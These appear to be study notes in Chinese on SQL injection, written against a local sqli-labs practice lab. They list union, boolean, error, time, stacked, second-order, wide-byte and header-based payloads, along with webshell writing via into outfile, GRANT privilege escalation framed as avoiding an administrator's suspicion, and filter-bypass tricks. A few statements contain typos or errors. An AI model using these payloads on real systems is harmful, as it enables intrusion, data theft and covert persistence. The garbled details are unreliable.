SQL注入一些形式
Union注入
http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
构造的sql语句
http://192.168.31.34/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user()--+
Boolean注入
构造一些判读语句
http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and length(database())=8--+
http://192.168.31.34/sqli-labs-master/Less-1/?id=1' and substr(database(),1,1)='s'--+
构造的语句可以有不同的形式
报错注入
http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
其他报错函数
and extractvalue(1,concat(0x7e,(database())))#
floor()函数
1' and (select 2 from (select count(*),concat(version(),floor(rand(*)*2))x from information_schema.tables group by x)a)#
sleep注入
用sleep if 进行判断
http://192.168.31.34/sqli-labs-master/Less-6/?id=1" and if(database()='security',sleep(100),null)--+
堆叠注入
用 ；连接多个 SQL语句，执行多条语句
http://192.168.31.34/sqli-labs-master/Less-38/?id='; insert into users(id,username,password)values('10000','lqs','lqs')--+
二次注入
通过SQL修改已有账户
注册一个admin'#的账号。
登录admin'#该，修改该帐号的密码，此时修改的就是admin的密码
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
用刚修改的密码我的是123456，登陆admin管理员账号，就可以成功登陆
二次编码注入
宽字节注入
数据库GBK编码时，地址后加 %df ,反斜杠编码为%5c,%df%5c是一个特殊字符，吃掉用来转义的反斜杠
http://192.168.31.34/sqli-labs-master/Less-32/?id=%df%27 union select 1,database(),3 %23
注入位置--cookie注入
注入位置--refer
注入位置--user-agent
注入位置--xff头
在http请求头的X-Forward-for处注入
特殊注入--base64编码后注入
Dnslog注入
工具：dnslogsql.py
1.DNSlog盲注原理
DNS:将域名解析到IP地址
DNSLOG：记录访问的域名信息
回显记录在DNSlog平台
目标服务器是Windows系统
示范：
数据库运行该语句
回到平台
出现数据库名
对表名，列名进行暴力破解
例如：
1' and exists(select * from aa)# 破解表名
1' and exists(select id from users)# 对列名进行破解
读文件
select load_file()
通过写入木马，实现控制
写入条件：
1.知道远程目录
2.远程目录有写入权限
3.数据库开启了secure_file_priv
函数：
select 1,2,'' into outfile "/var/www/html/shell.php" #
提权语句
增加账户有可能引起管理员怀疑，可以给已有的账户提权
grant all privileges on *.* to admin@`%` indentified by 'abc'；
创建一个从任意IP登录的超级用户
mysql -h 192.1689.233.128 -uadmin -pabc
验证
grant select,insert on *.* to admin2@`%` indentified by 'abc';
创建一个有select insert 权限的用户
一些绕过
1.大小写,如：oorr
2.双写绕过 ，如：seselectlect
3.宽字节形式
4.编码后绕过：关键字and被拦截，使用URL全编码，由于服务器会进行一次URL解码，所以把关键字编码两次
5.内联注释 id=1 / * ！ and * / 1=1
6.字符绕过：制表符，换行符，括号，反引号，/ * * /
7.等价函数字符如： like或 in 代替= ，sleep用benchmark代替，ascii用hex,bin代替
8.过滤空格，使用%a0代替空格
9.括号代替空格
10.%09 TAB %0a新建一行 %0c 新的一页 %0d return %a0空格 / * * /代替空格
作者水平有限，文章可能存在错误， 希望大家多多包含
